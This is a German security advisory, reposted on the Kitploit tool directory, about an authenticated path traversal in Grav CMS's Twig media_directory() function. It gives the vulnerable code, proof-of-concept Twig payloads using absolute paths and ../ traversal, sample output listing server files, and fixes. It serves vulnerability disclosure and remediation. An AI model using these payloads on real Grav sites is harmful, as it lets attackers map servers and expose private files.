Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-78851 — Technisches Advisory, das eine authentifizierte Path-Traversal-Schwachstelle in der Twig-Funktion `media_directory()` von Grav CMS beschreibt, die eine beliebige Verzeichnisauflistung und die Offenlegung von Dateisystempfaden ermöglicht. | Kitploit
Tools/GitHubGitHub/slo-cyber-sec/cve-2026-78851
SchwachstellenanalyseExploitationInformationsbeschaffungWebsicherheitPenetrationstests
GitHubslo-cyber-sec/cve-2026-78851

CVE-2026-78851

Technisches Advisory, das eine authentifizierte Path-Traversal-Schwachstelle in der Twig-Funktion `media_directory()` von Grav CMS beschreibt, die eine beliebige Verzeichnisauflistung und die Offenlegung von Dateisystempfaden ermöglicht.

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Grav – Authentifizierte Path Traversal / Beliebige Verzeichnis-Offenlegung über Twig media_directory()

Reporter

Name: CYBER-SEC
Kontakt: [email protected]

Zusammenfassung

Die Twig-Funktion media_directory() von Grav ist in der Allowlist der Twig-Sandbox für Seiteninhalte freigegeben, erzwingt jedoch keine ordnungsgemäße Pfadbegrenzung für Nicht-Stream-Eingaben.

Ein authentifizierter Benutzer mit Seitenbearbeitungsrechten kann media_directory('/absoluter/pfad') aufrufen oder relative Traversal wie media_directory('../../../../pfad') innerhalb von Twig-fähigen Seiteninhalten verwenden. Grav indiziert anschließend Mediendateien aus Verzeichnissen, die für den Webserver-Benutzer lesbar sind.

Die zurückgegebenen Medium-Objekte legen sandbox-erlaubte Eigenschaften wie und offen, was zu einer beliebigen Verzeichnisaufzählung und Offenlegung absoluter Dateisystempfade führt. Bei Bild-/SVG-Dateien kann die URL- oder Cache-Generierung Dateien über die öffentliche Cache-Verarbeitung von Grav zugänglich machen.

filepath
filename

Dies ist eine authentifizierte Schwachstelle zur Informationsoffenlegung. Es ist nicht bekannt, dass sie eine nicht authentifizierte Ausnutzung oder direkte Remote-Codeausführung ermöglicht.

Betroffenes Produkt

Produkt: Grav Flat-File-CMS
Repository: https://github.com/getgrav/grav
Verifizierte betroffene Versionen: 2.0.3, 2.0.4, 2.0.6
Komponente: Twig media_directory() / Grav-Twig-Sandbox für Seiteninhalte

CWE

  • CWE-22: Unzureichende Einschränkung eines Pfadnamens auf ein eingeschränktes Verzeichnis („Path Traversal")
  • CWE-200: Offenlegung vertraulicher Informationen gegenüber einem nicht autorisierten Akteur

CVSS v3.1

Vektor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Basis-Score: 6,5 Mittel

Angriffsvoraussetzungen

  • Der Angreifer muss authentifiziert sein.
  • Der Angreifer muss Seitenbearbeitungsrechte besitzen.
  • Die Twig-Inhaltsverarbeitung muss aktiviert sein.
  • Das Zielverzeichnis muss für den Webserver-Benutzer lesbar sein.

Technische Details

Die verwundbare Senke befindet sich in:

root@kitploit:~
system/src/Grav/Common/Twig/Extension/GravExtension.php

Relevante Logik:

root@kitploit:~
public function mediaDirFunc($media_dir)
{
    $locator = $this->grav['locator'];

    if ($locator->isStream($media_dir)) {
        $media_dir = $locator->findResource($media_dir);
    }

    if ($media_dir && file_exists($media_dir)) {
        return new Media($media_dir);
    }

    return null;
}

Nur stream://-Eingaben werden über den Locator von Grav aufgelöst. Nicht-Stream-Absolut- oder -Relativpfade werden unverändert an new Media($media_dir) übergeben, ohne kanonische realpath()-Validierung, Traversal-Ablehnung oder Begrenzung auf von Grav kontrollierte, genehmigte Verzeichnisse.

Die Funktion ist über die Allowlist der Twig-Sandbox für Seiteninhalte freigegeben:

root@kitploit:~
system/config/security.yaml
allowed_functions:
  - media_directory

Die Sandbox erlaubt außerdem Medium-Methoden/-Eigenschaften wie:

root@kitploit:~
filepath
filename
url
cache
resize

Dies ermöglicht einem authentifizierten Seitenbearbeiter, Dateinamen und absolute Pfade aus beliebigen lesbaren Verzeichnissen offenzulegen. Bei Bild-/SVG-Dateien kann die öffentliche URL-/Cache-Generierung den Dateiinhalt zugänglich machen.

Proof of Concept

Erstellen oder bearbeiten Sie bei aktivierter Twig-Inhaltsverarbeitung eine Grav-Seite und fügen Sie Folgendes ein:

root@kitploit:~
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

Traversal-Form:

root@kitploit:~
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

Beispiel für die Offenlegung von Bild-/SVG-Dateien:

root@kitploit:~
{{ media_directory('/absoluter/pfad/zu/privat')['secret.svg'].url }}

Wenn die Seite gespeichert und gerendert wird, indiziert Grav Dateien aus dem vom Angreifer kontrollierten Pfad und legt Dateinamen sowie absolute Dateisystempfade offen.

Verifiziertes Verhalten

Verifiziert gegen Grav 2.0.6 unter Verwendung des Docker-Images linuxserver/grav:latest.

Beobachtete Ergebnisse umfassten:

root@kitploit:~
LICENSE.txt    => /app/www/public/LICENSE.txt
composer.json  => /app/www/public/composer.json
robots.txt     => /app/www/public/robots.txt
now.json       => /app/www/public/now.json

Relatives Traversal wurde ebenfalls bestätigt:

root@kitploit:~
../../../../app/www/public

Die Offenlegung von SVG-Dateien über .url wurde ebenfalls in einer kontrollierten lokalen Testumgebung bestätigt.

Auswirkungen

Ein authentifizierter Seitenbearbeiter kann:

  • Mediendateien in beliebigen Verzeichnissen aufzählen, die für den Webserver-Benutzer lesbar sind.
  • Absolute Dateisystempfade und Dateinamen offenlegen.
  • Die Anwendungsstruktur und das serverseitige Dateisystem-Layout kartieren.
  • Vertrauliche Dateien, Backups, Konfigurationsdateien, Protokolle oder Bereitstellungsartefakte anhand ihres Namens identifizieren.
  • Potenziell Bild-/SVG-Dateien außerhalb des vorgesehenen Webroots über öffentliche Cache- oder URL-Generierung zugänglich machen.

Diese Schwachstelle gehört zur Klasse der Informationsoffenlegung und sollte nicht als Remote-Codeausführung gemeldet werden.

Behebung

Empfohlene Korrekturen:

  1. Entfernen Sie media_directory aus der Allowlist der Twig-Sandbox für Seiteninhalte.

oder:

  1. Wenden Sie eine strikte kanonische Pfadbegrenzung auf media_directory() an:
  • Lösen Sie alle Pfade mit realpath() auf.
  • Lehnen Sie Pfade ab, die Traversal-Sequenzen enthalten.
  • Lehnen Sie Pfade ab, die außerhalb genehmigter, von Grav kontrollierter Wurzeln aufgelöst werden.
  • Erlauben Sie nur sichere Wurzeln wie user://pages, user://images oder andere ausdrücklich genehmigte Medienverzeichnisse.
  • Validieren Sie Pfade erneut vor der Dateiindizierung und vor der Cache-/URL-Generierung.

Offenlegung

Dieses Problem wurde von CYBER-SEC gemeldet.

Referenzen

  • https://github.com/getgrav/grav
  • https://github.com/getgrav/grav/releases
  • https://getgrav.org/downloads
  • https://github.com/getgrav/grav/security/advisories
Tool herunterladen